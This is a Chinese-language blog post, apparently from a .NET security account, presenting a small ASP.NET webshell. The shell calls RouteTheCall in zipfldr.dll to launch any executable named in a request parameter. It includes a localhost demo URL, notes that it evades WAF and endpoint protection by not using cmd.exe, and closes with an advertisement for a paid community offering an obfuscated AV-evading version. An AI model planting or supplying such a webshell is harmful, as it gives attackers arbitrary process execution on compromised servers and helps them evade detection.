01本文概要
在.NET应用程序中,有时需要执行一些与系统相关的操作,例如调用Windows API函数来实现特定功能。本示例展示了如何在.NET页面中调用名为zipfldr.dll的动态链接库DLL中的RouteTheCall函数。
02函数及代码示例
zipfldr.dll是Windows操作系统中一个常用的动态链接库,它提供了一些与ZIP文件相关的功能。而RouteTheCall函数是zipfldr.dll中的一个特定函数,其功能可能与ZIP文件的处理或者路径路由有关。具体WebShell实现的代码如下所示。
IntPtr hModule = LoadLibrary("zipfldr.dll");IntPtr pfnOpenUrl = GetProcAddress(hModule, "RouteTheCall");RouteTheCallDelegate openUrl = Marshal.GetDelegateForFunctionPointer<RouteTheCallDelegate>(pfnOpenUrl);openUrl(IntPtr.Zero, IntPtr.Zero, Request["con"]);
在这段代码中通过LoadLibrary函数加载名为zipfldr.dll的动态链接库,并获取其模块句柄。使用GetProcAddress函数获取zipfldr.dll中名为RouteTheCall的函数的地址。
通过Marshal.GetDelegateForFunctionPointer方法将获取到的函数地址转换为委托类型RouteTheCallDelegate。最后,调用openUrl委托,传递三个参数:IntPtr.Zero、IntPtr.Zero和Request["con"],以调用名为RouteTheCall的函数。
03WebShell演示
启动本地调试环境,打开浏览器输入参数con=winver.exe,成功启动本地winver.exe进程。http://localhost:56601/Shell4Route.aspx?con=winver
因此在WAF或者终端防护对抗上可通过.NET中调用zipfldr.dll中的RouteTheCall函数启动本地任意可执行进程,优势在于不必再依赖启动cmd.exe。为了达到更好的免杀,工具已混淆发表于星球,师傅们可自行查阅资料。
04推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
05.NET安全知识库
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。只需199元就可以加入我们。
星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。